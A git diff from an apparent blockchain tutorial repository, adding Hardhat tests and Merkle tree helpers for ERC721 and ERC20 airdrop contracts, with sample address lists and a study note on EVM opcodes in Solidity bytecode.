+function hashToken(tokenId, account) {
+  return Buffer.from(ethers.utils.solidityKeccak256(['uint256', 'address'], [tokenId, account]).slice(2), 'hex')
+}
+
+
+describe('ERC721MerkleDrop', function () {
+  before(async function() {
+    this.accounts = await ethers.getSigners();
+    this.merkleTree = new MerkleTree(Object.entries(tokens).map(token => hashToken(...token)), keccak256, { sortPairs: true });
+  });
+
+  describe('Mint all elements', function () {
+    before(async function() {
+      this.registry = await deploy('ERC721MerkleDrop', 'Name', 'Symbol', this.merkleTree.getHexRoot());
+    });
+
+    for (const [tokenId, account] of Object.entries(tokens)) {
+      it('element', async function () {
+        /**
+         * Create merkle proof (anyone with knowledge of the merkle tree)
+         */
+        const proof = this.merkleTree.getHexProof(hashToken(tokenId, account));
+        /**
+         * Redeems token using merkle proof (anyone with the proof)
+         */
+        await expect(this.registry.redeem(account, tokenId, proof))
+          .to.emit(this.registry, 'Transfer')
+          .withArgs(ethers.constants.AddressZero, account, tokenId);
+      });
+    }
+  });
+
+  describe('Duplicate mint', function () {
+    before(async function() {
+      this.registry = await deploy('ERC721MerkleDrop', 'Name', 'Symbol', this.merkleTree.getHexRoot());
+
+      this.token = {};
+      [ this.token.tokenId, this.token.account ] = Object.entries(tokens).find(Boolean);
+      this.token.proof = this.merkleTree.getHexProof(hashToken(this.token.tokenId, this.token.account));
+    });
+
+    it('mint once - success', async function () {
+      await expect(this.registry.redeem(this.token.account, this.token.tokenId, this.token.proof))
+        .to.emit(this.registry, 'Transfer')
+        .withArgs(ethers.constants.AddressZero, this.token.account, this.token.tokenId);
+    });
+
+    it('mint twice - failure', async function () {
+      await expect(this.registry.redeem(this.token.account, this.token.tokenId, this.token.proof))
+        .to.be.revertedWith('ERC721: token already minted');
+    });
+  });
+
+  describe('Frontrun', function () {
+    before(async function() {
+      this.registry = await deploy('ERC721MerkleDrop', 'Name', 'Symbol', this.merkleTree.getHexRoot());
+
+      this.token = {};
+      [ this.token.tokenId, this.token.account ] = Object.entries(tokens).find(Boolean);
+      this.token.proof = this.merkleTree.getHexProof(hashToken(this.token.tokenId, this.token.account));
+    });
+
+    it('prevented', async function () {
+      await expect(this.registry.redeem(this.accounts[0].address, this.token.tokenId, this.token.proof))
+        .to.be.revertedWith('Invalid merkle proof');
+    });
+  });
+});
diff --git a/basic/42-merkle-distributor-airdrop/test/ERC20MerkleDrop.test.js b/basic/42-merkle-distributor-airdrop/test/ERC20MerkleDrop.test.js
new file mode 100644
index 000000000..bfd3dc31a
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/test/ERC20MerkleDrop.test.js
@@ -0,0 +1,107 @@
+const { ethers } = require('hardhat');
+const  MerkleTree  = require('./merkle-tree.js');
+const  BalanceTree   = require('./balance-tree.js');
+const keccak256 = require('keccak256');
+const { expect } = require('chai');
+const fs =require('fs');
+//const tokens = require('./tokens.json');
+
+async function deploy(name, ...params) {
+  const Contract = await ethers.getContractFactory(name);
+  return await Contract.deploy(...params).then(f => f.deployed());
+}
+
+function hashToken(index, account, amount) {
+  return Buffer.from(ethers.utils.solidityKeccak256(['uint256', 'address', 'uint256'], [index, account, amount]).slice(2), 'hex')
+}
+
+
+describe('ERC20MerkleDrop', function () {
+
+  let treeRoot;
+  let erc20;
+   let owner;
+   let alice;
+   let bob;
+   let  tree;
+   let distributor;
+   let distributorFactory;
+   let distributorFile;
+   let fileTree;
+
+
+  
+  // merkleTree = new MerkleTree(Object.entries(tokens).map(token => hashToken(...token)), keccak256, { sortPairs: true });
+ console.log(BalanceTree);
+  describe('Mint all elements', function () {
+    before(async function() {
+      [owner,alice, bob] = await ethers.getSigners();
+       erc20 = await deploy('TestERC20', "AAA token",'AAA', 100000000 );
+       tree =  new BalanceTree([
+        { account: alice.address, amount: ethers.BigNumber.from(100) },
+        { account: bob.address, amount: ethers.BigNumber.from(101) },
+      ])
+
+        let json = JSON.parse(fs.readFileSync('./test/erc20.json', { encoding: 'utf8' }))
+
+        if (typeof json !== 'object') throw new Error('Invalid JSON')
+
+            
+       //console.log(JSON.stringify(json));
+
+
+            //---------------
+
+       let balances = new Array();
+       let valid = true
+       for (const [key, value] of Object.entries(json)) {
+    
+        balances.push({ account: key, amount: value});
+      }
+      fileTree = new BalanceTree(balances);
+      //console.log(balances);
+   // })
+    
+
+    // Root
+    const root = fileTree.getHexRoot().toString('hex')
+    console.log('Reconstructed merkle root', root)
+  
+   
+     
+      distributorFactory = await deploy("MerkleDistributorFactory");
+
+      //distributor = await deploy("MerkleDistributor", erc20.address, tree.getHexRoot());
+      //distributor = await deploy("MerkleDistributor", erc20.address, tree.getHexRoot());
+      await distributorFactory.createDistributor(erc20.address, tree.getHexRoot(), 3600,owner.address);
+      distributor = await ethers.getContractAt("MerkleDistributor", await distributorFactory.getDistributor(0));
+      distributorFile = await deploy("MerkleDistributor", erc20.address, fileTree.getHexRoot(), 3600, owner.address);
+
+      await erc20.transfer(distributor.address, 201);
+      await erc20.transfer(distributorFile.address, 1000);
+
+    });
+
+    it('successful claim', async () => {
+      const proof0 = tree.getProof(0, alice.address, ethers.BigNumber.from(100))
+      await expect(distributor.claim(0, alice.address, 100, proof0))
+        .to.emit(distributor, 'Claimed')
+        .withArgs(0, alice.address, 100)
+      const proof1 = tree.getProof(1, bob.address, ethers.BigNumber.from(101))
+      await expect(distributor.claim(1, bob.address, 101, proof1))
+        .to.emit(distributor, 'Claimed')
+        .withArgs(1, bob.address, 101)
+    })
+
+    it('file tree claim', async () => {
+      const proof0 = fileTree.getProof(0, '0xF3c6F5F265F503f53EAD8aae90FC257A5aa49AC1', ethers.BigNumber.from(1))
+      await expect(distributorFile.claim(0, '0xF3c6F5F265F503f53EAD8aae90FC257A5aa49AC1', 1, proof0))
+        .to.emit(distributorFile, 'Claimed')
+        .withArgs(0, '0xF3c6F5F265F503f53EAD8aae90FC257A5aa49AC1', 1)
+    })
+
+  });
+
+  
+
+});
diff --git a/basic/42-merkle-distributor-airdrop/test/balance-tree.js b/basic/42-merkle-distributor-airdrop/test/balance-tree.js
new file mode 100644
index 000000000..5ac7e9fba
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/test/balance-tree.js
@@ -0,0 +1,47 @@
+const MerkleTree = require('./merkle-tree')
+const { BigNumber, utils } = require('ethers')
+
+ class BalanceTree {
+
+  constructor(balances) {
+    this.tree = new MerkleTree(
+      balances.map(({ account, amount }, index) => {
+        return this.toNode(index, account, amount)
+      })
+    )
+  }
+
+  verifyProof(
+    index,
+    account,
+    amount,
+    proof,
+    root
+  ) {
+    let pair = this.toNode(index, account, amount)
+    for (const item of proof) {
+      pair = MerkleTree.combinedHash(pair, item)
+    }
+
+    return pair.equals(root)
+  }
+
+  // keccak256(abi.encode(index, account, amount))
+  toNode(index, account, amount) {
+    return Buffer.from(
+      utils.solidityKeccak256(['uint256', 'address', 'uint256'], [index, account, amount]).substr(2),
+      'hex'
+    )
+  }
+
+  getHexRoot() {
+    return this.tree.getHexRoot()
+  }
+
+  // returns the hex bytes32 values of the proof
+  getProof(index, account, amount) {
+    return this.tree.getHexProof(this.toNode(index, account, amount))
+  }
+
+}
+module.exports = BalanceTree;
\ No newline at end of file
diff --git a/basic/42-merkle-distributor-airdrop/test/erc20.json b/basic/42-merkle-distributor-airdrop/test/erc20.json
new file mode 100644
index 000000000..b29558216
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/test/erc20.json
@@ -0,0 +1,101 @@
+{
+  "0xF3c6F5F265F503f53EAD8aae90FC257A5aa49AC1": 1,
+  "0xB9CcDD7Bedb7157798e10Ff06C7F10e0F37C6BdD": 2,
+  "0xf94DbB18cc2a7852C9CEd052393d517408E8C20C": 3,
+  "0xf0591a60b8dBa2420408Acc5eDFA4f8A15d87308": 4,
+  "0x6A2dE67981CbE91209c1046D67eF7a45631d0666": 5,
+  "0x7C262baf13794f54e3514539c411f92716996C38": 6,
+  "0x57E7c6B647C004CFB7A38E08fDDef09Af5Ea55eD": 7,
+  "0x05fc93DeFFFe436822100E795F376228470FB514": 8,
+  "0x6b6C7139B48156d7EC90eD4c55C56bDFCB1C19D2": 9,
+  "0x7D13f07889F04a593a3E12f5d3f8Bf850d07465B": 10,
+  "0xb86739476a4820FcC39Ff1C413d9af0b96c1589F": 11,
+  "0xf66705E0Ae4e5DfC02b2633356f5305662F00d3b": 12,
+  "0xC7AA922f0823DeE2eD721E61ebCCF2F9596017Fb": 13,
+  "0x6E9Ead46916950088E236A77bb7b6309170827CA": 14,
+  "0x656231095A6700620062B308C900E124461C48B6": 15,
+  "0xCb73bE1851f2133895C05D408666475bA8Da351e": 16,
+  "0x6FCBCB45deE6649450932f7FF142C7c434CED9a6": 17,
+  "0xB34bf945E5a5698087820812e9CCBA0686D2a783": 18,
+  "0x31f161a781a30AB4bF4Bf11175e3098204FB5235": 19,
+  "0xde03a8041B40FF95F7F6b6ca0d1Da80fbBD07925": 20,
+  "0xdc7B752019AC5eFA067Bd3dE17Fc2D2c7C8d881e": 21,
+  "0xcB4A9ae3d5C4c9BF3c688d387230559018FB90C3": 22,
+  "0x97Ac383e64d5a1A2A08c646C87B6e0546F7c164B": 23,
+  "0xc0B7C64d370A9ffcFb9ef675809126c5cAfA9619": 24,
+  "0xC910240362A5dda9e6cE8fAc86C329864d9Da15d": 25,
+  "0x7e72833a9D8Da5458470f2B226f1c095ef335e86": 26,
+  "0x40DeF14b2793e99f1f453FbD98A0f251a1D19f4f": 27,
+  "0xBC61c73CFc191321DA837def848784c002279a01": 28,
+  "0x32Cc3F29cde7ac9c000FEbf0D8F28B94F1A34441": 29,
+  "0x538F43872aC14d3130721Df4F02a3Ff05053A2d9": 30,
+  "0xDE78e3462c9F976257E5E4Ed821BE7B306B23450": 31,
+  "0xF1079DD1048A65cA9f9153246164758203d1aEd5": 32,
+  "0xAb7Fb5958785b20bdccd2A65d15F139B60080fAc": 33,
+  "0xc6b467aCAa5B07b8182749524385B79DBb909B14": 34,
+  "0xE7fA80757FeAb870E0bF3b3dc8d4647f403A65ac": 35,
+  "0x72381936D8e22a52F9a6ea62e23628084085D05b": 36,
+  "0x3fC98BAD7384a354f8b083Fc5A7D621DF5fB9F41": 37,
+  "0x5e471D67A610f541B63a8789A9BE1F0fAcd9E244": 38,
+  "0x5a693Fc88b80Bd7e57f676Bd5e0945995f68bC47": 39,
+  "0x69eA0b9B0b489B87E061e3e85886D668b24157Ad": 40,
+  "0x7D0Fe663D9488F6793D813e51EC1DC600F289ad3": 41,
+  "0x162F49fE6F365d04Db07F77377699aeFE2E8A2cf": 42,
+  "0x8A1F2B46A35D10F0EafbE6c7f0671d8DB847dcA2": 43,
+  "0x4aA6E2Fe3f306CB777dFeA344daaAd33eB50f972": 44,
+  "0x1fCBa490902B2BD44ba98359C7075e2C8a2b9F15": 45,
+  "0xdd1f7Ea709BD594D834411AE22D81a5B6a91008F": 46,
+  "0x406b7968735b79688C6694634f2Ef5CF01c386F5": 47,
+  "0x7152dc7a0eC646A7bCD3b00EF4Ca984E337da2B3": 48,
+  "0xdf9424b7563A00386217471cfAC8944185505c56": 49,
+  "0xaDF30D969b396DFC5035Cb3921034Bfb86CC055d": 50,
+  "0xf970e1f7e89a57485E139F9EB4652181Ef270515": 51,
+  "0xBd8BcBdF78205590FD576acaf110d70069eE7125": 52,
+  "0xd7663Ca75082939012A9b5DCaFaDABEA51352F70": 53,
+  "0x75662678a74C6aD63501519F656CE4Db04e1EF49": 54,
+  "0xC1f94BCA2146B462685FC04Bf10f8b8CB7a305a3": 55,
+  "0x7DD3A4cCf156475AE927E9aedc91E9f33AABc79d": 56,
+  "0x85c5EE48A6687c9D903052a22f5764Bed2B4A6A8": 57,
+  "0x73f24B3cB7FDAf629d2DC44f67ADaA99005719B0": 58,
+  "0x9Cce64165E28dEA01a8b9c977F4dbD9D791EbcFf": 59,
+  "0xcB667d9F540E721858e77E6667e281Aa6fFD5C17": 60,
+  "0x0f39bceBE74751D89c37a2671DE0c750b71cA152": 61,
+  "0xC0CDEE637cd0Ef7Ef7ab2696ffADc9C78F4daa0B": 62,
+  "0x0cF605Ad65B1A541Ca6390606F944D176D5B9950": 63,
+  "0x614de94D2E18c174bc0155EFef55bAa9cB55bAf2": 64,
+  "0xa47A8fa265bf540184fA3499566761A608Be84EE": 65,
+  "0xD2ED9f212c6f5d127757fA700cc55235F5cBc167": 66,
+  "0xfA4563612C9De62302364ee8042635e44c8327fF": 67,
+  "0x0350D208F3D94Af84724e437fAa7ebe5A3C35aC7": 68,
+  "0x31de7522f31322081516703F78ce8eA128d9D6f7": 69,
+  "0x3e51a90d40F8dC43d2b8720B3671aa208b0316ac": 70,
+  "0x9BDFE65726326c104a302B172e49c4946E481306": 71,
+  "0xe7B6bdA3990D0F6892cB1c37F4f2867a8Df4Fe5e": 72,
+  "0x42B6cC78074eF1C5eC4AEe844B4B9c27b199831F": 73,
+  "0x1E5eF4320142B6721C27846c9Ab4D6F0a0aFD2CE": 74,
+  "0xA998c01B7c9674490480ec68bCf27C836CF9B495": 75,
+  "0xa087344Bc4A05D2885aa9531ae6694e0C5dEb728": 76,
+  "0x8874a8B06bd074953a9b22CaaC0Ce3bCf1260fB4": 77,
+  "0x8943b759EaAa0e51b93ddB12B19e9EB71A361c69": 78,
+  "0x4540e3Ef6dC7a420cd44767F98EF15BEEA28606D": 79,
+  "0x4d9366B189AA78B9764Bd50B22F9398ABB4AcFbD": 80,
+  "0x250fC1677986e6c3CEb348a378919f5b0Eb487ea": 81,
+  "0x1668395E2FDEC223E175111ff8bDce4180A3B680": 82,
+  "0x904dac1641aC5DAB76B7b2B2AB2779E98ac6BC74": 83,
+  "0x169D0Cc3e36D3C9253Dd8418421Af5F84a75EC76": 84,
+  "0x012ed55a0876Ea9e58277197DC14CbA47571CE28": 85,
+  "0xc07b1400fB950253fbfC5484601036f18c8A91CC": 86,
+  "0x3741c4751bBff7ba5D58BDA8F1c25Cb71b6b95D2": 87,
+  "0x01dC7F8C928CeA27D8fF928363111c291bEB20b1": 88,
+  "0x41560a0CC92C4267614721140a031aE20051Bb65": 89,
+  "0xF1d322d48E47eb4A806bAB843B5C79Af641bb8cD": 90,
+  "0x332BC77780057942cAa2c7bad21a04E91B5Ed687": 91,
+  "0x8519E69FfaF870479534b362ce34F666533aE758": 92,
+  "0xBF134F1BD442c77F01d4784D991F3c191ce700cf": 93,
+  "0xb7649E4000AD4748dc2907eCdcAC4ae3d59da0D5": 94,
+  "0x84664986ad6D1237010be3BFC0F88555edc6987f": 95,
+  "0x983a9ed0e4A274314231BFce58Ec973f0D298c9d": 96,
+  "0x9F0A64c6956D7205E883ae8A3C19577f1cadD78F": 97,
+  "0xB96cE59522314ACB1502Dc8d3e192995e36439c1": 98,
+  "0x5A553d59435Df0688fd5dEa1aa66C7430541ffB3": 99
+}
\ No newline at end of file
diff --git a/basic/42-merkle-distributor-airdrop/test/merkle-tree.js b/basic/42-merkle-distributor-airdrop/test/merkle-tree.js
new file mode 100644
index 000000000..9ad883fd2
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/test/merkle-tree.js
@@ -0,0 +1,120 @@
+const { bufferToHex, keccak256 } = require('ethereumjs-util');
+
+  class MerkleTree {
+  constructor(elements) {
+    this.elements = [...elements]
+    // Sort elements
+    this.elements.sort(Buffer.compare)
+    // Deduplicate elements
+    this.elements = MerkleTree.bufDedup(this.elements)
+
+    this.bufferElementPositionIndex = this.elements.reduce((memo, el, index) => {
+      memo[bufferToHex(el)] = index
+      return memo
+    }, {})
+
+    // Create layers
+    this.layers = this.getLayers(this.elements)
+  }
+
+  getLayers(elements) {
+    if (elements.length === 0) {
+      throw new Error('empty tree')
+    }
+
+    const layers = []
+    layers.push(elements)
+
+    // Get next layer until we reach the root
+    while (layers[layers.length - 1].length > 1) {
+      layers.push(this.getNextLayer(layers[layers.length - 1]))
+    }
+
+    return layers
+  }
+
+  getNextLayer(elements) {
+    return elements.reduce((layer, el, idx, arr) => {
+      if (idx % 2 === 0) {
+        // Hash the current element with its pair element
+        layer.push(MerkleTree.combinedHash(el, arr[idx + 1]))
+      }
+
+      return layer
+    }, [])
+  }
+
+  static combinedHash(first, second) {
+    if (!first) {
+      return second
+    }
+    if (!second) {
+      return first
+    }
+
+    return keccak256(MerkleTree.sortAndConcat(first, second))
+  }
+
+  getRoot() {
+    return this.layers[this.layers.length - 1][0]
+  }
+
+  getHexRoot() {
+    return bufferToHex(this.getRoot())
+  }
+
+  getProof(el) {
+    let idx = this.bufferElementPositionIndex[bufferToHex(el)]
+
+    if (typeof idx !== 'number') {
+      throw new Error('Element does not exist in Merkle tree')
+    }
+
+    return this.layers.reduce((proof, layer) => {
+      const pairElement = MerkleTree.getPairElement(idx, layer)
+
+      if (pairElement) {
+        proof.push(pairElement)
+      }
+
+      idx = Math.floor(idx / 2)
+
+      return proof
+    }, [])
+  }
+
+  getHexProof(el) {
+    const proof = this.getProof(el)
+
+    return MerkleTree.bufArrToHexArr(proof)
+  }
+
+  static getPairElement(idx, layer) {
+    const pairIdx = idx % 2 === 0 ? idx + 1 : idx - 1
+
+    if (pairIdx < layer.length) {
+      return layer[pairIdx]
+    } else {
+      return null
+    }
+  }
+
+  static bufDedup(elements) {
+    return elements.filter((el, idx) => {
+      return idx === 0 || !elements[idx - 1].equals(el)
+    })
+  }
+
+  static bufArrToHexArr(arr) {
+    if (arr.some((el) => !Buffer.isBuffer(el))) {
+      throw new Error('Array is not an array of buffers')
+    }
+
+    return arr.map((el) => '0x' + el.toString('hex'))
+  }
+
+  static sortAndConcat(...args) {
+    return Buffer.concat([...args].sort(Buffer.compare))
+  }
+}
+module.exports = MerkleTree;
\ No newline at end of file
diff --git a/basic/42-merkle-distributor-airdrop/test/tokens.json b/basic/42-merkle-distributor-airdrop/test/tokens.json
new file mode 100644
index 000000000..fa2f82b82
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/test/tokens.json
@@ -0,0 +1,22 @@
+{
+  "56660740342816081431743222872731117427526580551422435935884080137676694505177": "0xa111C225A0aFd5aD64221B1bc1D5d817e5D3Ca15",
+  "77779554305765060701256245686273608138749709626967147417222804954719217104111": "0x8de806462823aD25056eE8104101F9367E208C14",
+  "36416698825062681237969338228395867809712571178321010467907965453371102606457": "0x801EfbcFfc2Cf572D4C30De9CEE2a0AFeBfa1Ce1",
+  "108148532074091611222173342315291145352157620481598067018426825547456519926282": "0x7DdC72Eb160F6A325A5927299b2715Abd0bEA55B",
+  "13988174029436432540570381205111963270292016538206553609831089847857228090619": "0x5aB21736841D90fc48D6aA003A7791E62f52692f",
+  "66006320280895314860647153115820051089242351094955318545993434402895457320087": "0x940Da56126BE133Ddaa53Fe0FE52B4F42d3f761F",
+  "16131328929436688815488112444319900503393907293977987766579886433194904646533": "0x7De3e7f2821ef6310B353c00628D02B57ad661D8",
+  "70363901684546190131494672691202596480010865506265940013889525778922121326126": "0x6B831bf30f30701D5595DedDA9873F9F93495FBb",
+  "64308966187936641647974943581975166543063707479192358820456738763585086852921": "0x3EE9626735Bc3585D2B4b3B6F604769aB3450593",
+  "25852044952998253150599325372353410768171410249341626326102359644632315835678": "0xb0874963aCcA3FD8C3740fC13A9948b89D34B19A",
+  "109270421435016155674138011152358860652282160046602257314270248009729450888616": "0x4Ea6D5DF8291E973289C726b2a36836BF232C0D1",
+  "60951507906621244943905836719336971568787306218150314963160274193630911924084": "0xa702766f94C9C515722251a8A9FE7Ea9141eE73B",
+  "49530906133062864957479951054142751172241371576265182872288195323037610453263": "0x346229540D5849203f84A727636AE4Eb6eA265fD",
+  "100710336746605700073221831260512041319095295422384736038717106200796860021250": "0x8Ee432c17f59e5989069B77164a68fbAAcF46A2B",
+  "37235810039334701263914709571720867451357683795820563395225347574888394987520": "0xeAE26C61ab4fF2B8e0d38CE3C44b3D115cfB0FDE",
+  "89637433112024637295546101206613645952665816288525094814507166297376938891111": "0x30e2326ee1bf319EFA6117E6E6C8Df334243E76d",
+  "86830284497346071256477650027501261388928562487022930095462971204284911067107": "0xBcfF64A3f8EE87d8D82B8c9b6D35b150761b430D",
+  "6705805767844207723261592881831509603729469983418291212309451818559986173218": "0x0EbDa2F020DA73192F6Ab99c31224b8b1Aa32df8",
+  "56826771101205779187075327440225035725608966408941262027534145212461501880746": "0x0904b2214f21bdEc6f567469b57cc9444D4f4DdB",
+  "57495477825540507962551692981047197416807307031606449655753227875319265312884": "0x7d33793CFdb315882cfF375096A4c0EF7d3fC0f0"
+}
diff --git a/basic/42-merkle-distributor-airdrop/utils.js b/basic/42-merkle-distributor-airdrop/utils.js
new file mode 100644
index 000000000..bcdaab6ac
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/utils.js
@@ -0,0 +1,40 @@
+// read and save redpacket contract deployment json file
+const path = require('path');
+const fs = require('fs');
+
+const DEPLOYMENGT_DIR = path.join(__dirname, '/scripts/redpacket/deployment.json');
+
+/*
+ * deployment:
+ *   redPacketAddress
+ *   redPacketOwner
+ *   redPacketID
+ *   simpleTokenAddress
+ */
+function readRedpacketDeployment() {
+  if (!fs.existsSync(DEPLOYMENGT_DIR)) return null;
+  try {
+    return JSON.parse(fs.readFileSync(DEPLOYMENGT_DIR, { encoding: 'utf-8' }));
+  } catch {
+    return null;
+  }
+}
+
+function saveRedpacketDeployment(payload) {
+  let oldData = readRedpacketDeployment();
+  if (!oldData) oldData = {};
+  fs.writeFileSync(
+    DEPLOYMENGT_DIR,
+    JSON.stringify({
+      ...oldData,
+      ...payload,
+    }),
+    { flag: 'w+' }
+  );
+  return true;
+}
+
+module.exports = {
+  readRedpacketDeployment,
+  saveRedpacketDeployment,
+};
diff --git a/basic/43-EVM/DeconstructingSolidityContract.md b/basic/43-EVM/DeconstructingSolidityContract.md
new file mode 100644
index 000000000..567e23de3
--- /dev/null
+++ b/basic/43-EVM/DeconstructingSolidityContract.md
@@ -0,0 +1,370 @@
+# Deconstructing a Solidity Contract
+
+by Openzeppelin
+
+1. Introduction [https://blog.openzeppelin.com/deconstructing-a-solidity-contract-part-i-introduction-832efd2d7737/](https://blog.openzeppelin.com/deconstructing-a-solidity-contract-part-i-introduction-832efd2d7737/)
+2. Creation vs. Runtime [https://blog.openzeppelin.com/deconstructing-a-solidity-contract-part-i-introduction-832efd2d7737/](https://blog.openzeppelin.com/deconstructing-a-solidity-contract-part-i-introduction-832efd2d7737/)
+3. The Function Selector [https://blog.zeppelin.solutions/deconstructing-a-solidity-contract-part-iii-the-function-selector-6a9b6886ea49](https://blog.zeppelin.solutions/deconstructing-a-solidity-contract-part-iii-the-function-selector-6a9b6886ea49)
+4. Function Wrappers [https://blog.zeppelin.solutions/deconstructing-a-solidity-contract-part-iv-function-wrappers-d8e46672b0ed](https://blog.zeppelin.solutions/deconstructing-a-solidity-contract-part-iv-function-wrappers-d8e46672b0ed)
+5. Function Bodies [https://blog.zeppelin.solutions/deconstructing-a-solidity-contract-part-v-function-bodies-2d19d4bef8be](https://blog.zeppelin.solutions/deconstructing-a-solidity-contract-part-v-function-bodies-2d19d4bef8be)
+6. The Metadata Hash [https://blog.zeppelin.solutions/deconstructing-a-solidity-contract-part-vi-the-swarm-hash-70f069e22aef](https://blog.zeppelin.solutions/deconstructing-a-solidity-contract-part-vi-the-swarm-hash-70f069e22aef)
+
+![opcode 结构分解，点击链接看大图 [https://gists.rawgit.com/ajsantander/23c032ec7a722890feed94d93dff574a/raw/a453b28077e9669d5b51f2dc6d93b539a76834b8/BasicToken.svg](https://www.notion.so/23c032ec7a722890feed94d93dff574a)](https://gists.rawgit.com/ajsantander/23c032ec7a722890feed94d93dff574a/raw/a453b28077e9669d5b51f2dc6d93b539a76834b8/BasicToken.svg)
+
+opcode 结构分解，点击链接看大图 [https://gists.rawgit.com/ajsantander/23c032ec7a722890feed94d93dff574a/raw/a453b28077e9669d5b51f2dc6d93b539a76834b8/BasicToken.svg](https://www.notion.so/23c032ec7a722890feed94d93dff574a)
+
+## Introduction
+
+compile tips:
+
+- **make sure *Enable Optimization* is selected**
+- solidity **version:0.4.24+commit.e67f0147.Emscripten.clang**
+- 设置上述两点后仍然编码有些不一致，实现了的同学可以来补充细节
+
+```solidity
+pragma solidity ^0.4.24;
+
+contract BasicToken {
+
+  uint256 totalSupply_;
+  mapping(address => uint256) balances;
+
+  constructor(uint256 _initialSupply) public {
+    totalSupply_ = _initialSupply;
+    balances[msg.sender] = _initialSupply;
+  }
+
+  function totalSupply() public view returns (uint256) {
+    return totalSupply_;
+  }
+
+  function transfer(address _to, uint256 _value) public returns (bool) {
+    require(_to != address(0));
+    require(_value <= balances[msg.sender]);
+    balances[msg.sender] = balances[msg.sender] – _value;
+    balances[_to] = balances[_to] + _value;
+    return true;
+  }
+
+  function balanceOf(address _owner) public view returns (uint256) {
+    return balances[_owner];
+  }
+}
+```
+
+```jsx
+088 PUSH1 0x04
+|  |     |
+|  |     Hex value for push.
+|  Opcode.
+Instruction number.
+```
+
+opcode file [https://gist.github.com/ajsantander/60bd8d6f88725663f89a67a7c51672c7](https://www.notion.so/60bd8d6f88725663f89a67a7c51672c7)
+
+<aside>
+💡 Instruction number. 编号是opcode所在的byte序号，88就是该opcode被存放在第88个字节。大部分opcode都只占用1byte，除了PUSH。`PUSH1` 表示向stack推入一个uint8数值，后紧跟其要操作的数值，即 0x04。0x04实际上也占用了1byte，于是下一行的opcode Instruction number 将会是090，中间间隔1。以此类推，`PUSH2`会间隔2个byte，`PUSH3`将是3个byte...
+
+</aside>
+
+## **Creation vs. Runtime**
+
+let’s focus on the `JUMP`, `JUMPI`, `JUMPDEST`, `RETURN`, and `STOP` opcodes, and **ignore all others**.Whenever we find an opcode that is not one of these, we will ignore it and skip to the next instruction, pretending that nothing intervened.
+
+### **opcode 执行规则**
+
+`JUMP`, `JUMPI`, `JUMPDEST`, `RETURN`, and `STOP`：
+
+- It does so top down with no exceptions
+  - 自上而下顺序执行，没有其他入口
+- It can jump
+  - `JUMP` 和 `JUMPDEST` 配对使用，即，jump + stack 的值，跳转到相应编号的 opcode，该目标 opcode 必须是 `JUMPDEST`
+  - `JUMPI` is exactly the same, but there must not be a “0” in the second position of the stack, otherwise there will be no jump.
+    - this is a conditional jump.
+    - 当 stack 1 值为 1，跳转到以 stack 0 的值为编号 (Instruction number) 的 opcode，为 0 则不跳转，继续执行下一条
+    - 此时 stack 0 为 0x10 , stack 1 为 0x01, 即需要跳转到编号 16 的 opcode
+- `STOP` completely halts execution of the contract
+- `RETURN` halts execution too, but returns data from a portion of the EVM’s memory, which is handy.
+
+The control flow of this contract will always end at instructions 15 or 68. The remaining 497 instructions (70 to 566) which, as we saw, will never be reached by the execution flow, are precisely the code that will be part of the deployed contract.
+
+If you open the [deconstruction diagram](https://www.notion.so/23c032ec7a722890feed94d93dff574a), you should see how we’ve just made our first split: we’ve differentiated creation-time vs. runtime code.
+
+[Figure 1. Deconstruction of the creation-time EVM bytecode of BasicToken.sol.](https://lh4.googleusercontent.com/H5-5mHxayCSR3zS1hgyy8UEC31y7n3d4ZOo6nf0-ZZ9Oz6idygz4o5_US6_MJejxDzTWg7bl9NOSiz_JuZIxmjH036Awhy2xD2RvLACuXHsqL06NV0goug8Z7O2F3ta7pDBlr-Le)
+
+Figure 1. Deconstruction of the creation-time EVM bytecode of BasicToken.sol.
+
+The creation code gets executed in a transaction, which returns a copy of the runtime code, which is the actual code of the contract. As we will see, the constructor is part of the creation code, and not part of the runtime code. **The contract’s constructor is part of the creation code; it will not be present in the contract’s code once it is deployed**.
+
+`PUSH1` simply pushes one byte onto the top of the stack, and `MSTORE` grabs the two last items from the stack and stores one of them in memory:
+
+```jsx
+mstore(0x40, 0x80)
+		   |     |
+		   |     What to store.
+		   Where to store.
+(in memory)
+```
+
+`CALLVALUE`, `DUP1`, `ISZERO`, `PUSH2`, and `REVERT`.
+
+- `CALLVALUE` 将创建合约交易的 value(wei) 推入栈顶
+- `DUP1` duplicates the first element on the stack
+- `ISZERO` pushes a 1 to the stack if the topmost value of the stack is zero
+- `PUSH1`,`PUSH2` ... 1 推入一个 byte(8bit), 2 (16bit), 以此类推
+- `REVERT` halts execution
+
+```jsx
+005 CALLVALUE  // push transaction's value(wei) into stack
+006 DUP1
+007 ISZERO
+008 PUSH2 0010
+011 JUMPI  // if check
+012 PUSH1 00  // -> false
+014 DUP1
+015 REVERT
+016 JUMPDEST  // -> true
+```
+
+In Solidity, we could write this chunk of assembly like this:
+
+```jsx
+if (msg.value != 0) revert();
+```
+
+这一句不是我们的代码，是编译器注入的，因为我们的 constructor 不是 payable，所以不能接受 eth
+
+```jsx
+017 POP  // 清除stack
+018 PUSH1 40
+020 MLOAD  // mload(0x40) 读取0x40插槽，详见下方
+021 PUSH1 20
+023 DUP1
+024 PUSH2 0217
+027 DUP4
+028 CODECOPY  // 接受三个参数，从合约bytecode中复制编码到目标区域.这里是在code末尾复制初始化参数到memory中
+029 DUP2
+030 ADD
+031 PUSH1 40
+033 SWAP1
+034 DUP2
+035 MSTORE  // 上面几个opcode的作用是将zero slot中的指针向后偏移32byte，以便写入新的变量（偏移之前指向的是0x80,即初始化参数存储的地方）
+036 SWAP1
+037 MLOAD  // 将memory中的10000（初始化参数）提取到stack中，以便接下来的运算
+```
+
+> **Layout in Mmeory** [https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html](https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html)
+
+Solidity reserves four 32-byte slots, with specific byte ranges (inclusive of endpoints) being used as follows:
+
+- `0x00` - `0x3f` (64 bytes): scratch space for hashing methods
+- `0x40` - `0x5f` (32 bytes): currently allocated memory size (aka. free memory pointer)
+- `0x60` - `0x7f` (32 bytes): zero slot
+
+这四个类别的插槽（总共 4 个插槽，每个插槽 32byte or 256bit）是 solidity 的保留插槽；
